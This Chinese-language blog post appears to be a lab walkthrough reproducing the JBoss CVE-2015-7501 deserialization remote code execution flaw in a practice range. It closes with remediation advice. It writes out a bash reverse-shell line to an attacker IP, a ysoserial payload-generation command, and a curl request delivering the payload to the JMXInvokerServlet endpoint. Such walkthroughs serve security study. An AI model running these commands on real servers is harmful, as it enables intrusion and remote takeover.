漏洞简介
- jboss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后攻击者可以利用 Apache Commons Collections 中的 Gadget 执行任意代码;
jboss了解
- jboss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用,jboss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范;但jboss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用;在J2EE应用服务器领域,jboss是发展最为迅速的应用服务器;由于jboss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得jboss广为流行;
受影响版本
- JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
环境搭建
- 环境搭建请参考这篇文章,内容也很详细;——> 手把手教你如何搭建vulfocus靶场
漏洞验证
- 开启靶场环境,成功访问;
- 访问路径
/invoker/JMXInvokerServlet
,若提示JMXInvokerServlet
文件下载则说明可能存在漏洞;
漏洞复现
- 开启
burp
进行抓包,查看响应数据原始内容;
-
由于在处理
/invoker/JMXInvokerServlet
请求的时候会读取用户传入的对象,那我们可以构造恶意的数据传入,当jboss处理该数据时即可执行该恶意数据,从而达到执行任意代码的效果; -
知道利用点那就好办了,下载使用ysoserial工具生成恶意的poc;
知识小拓展
ysoserial
是一款在Github开源的知名java反序列化利用工具,集合了各种java反序列化 payload; 但其中部分payload需使用低版本JDK中的类,建议可先备好低版本JDK;
- 构造恶意的命令并进行base64编码,以反弹shell;
bash -i >& /dev/tcp/x.x.x.x/监听端口 0>&1
注: x.x.x.x为攻击机IP
- 攻击机执行恶意java命令,生成恶意poc;
java -jar ysoserial.jar CommonsCollections5 "base64编码后的命令">exp.ser
//将生成的poc输入到exp.ser文件中
反弹shell
- 将生成的
exp.ser
下载到本地,burp
抓包后修改为post提交方式,接着右击paste from file
上传生成的exp.ser
文件;(注:攻击机要先开启监听)
- 这里不知道啥原因,居然没有反弹过去(导演这一段请减掉😂),后面发现可以直接在攻击机上使用
curl
命令来执行命令,上传该恶意的exp文件;
curl http://靶机IP:端口/invoker/JMXInvokerServlet --data-binary @exp.ser
- 返回监听成功反弹shell,在
/tmp
目录下成功拿到flag;
修复意见
1)将应用程序迁移到其他容器,如WildFly等;
2)升级JBoss AS版本至7.0.6.Final或更高版本;
3)禁用JMX控制台、限制对JMX端口的访问、禁用不必要的服务和组件并使用防火墙保护系统;
上一篇 > fastjson CNVD-2019-22238 远程代码执行漏洞
以上内容就是jboss CVE-2015-7501 反序列化漏洞复现过程,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!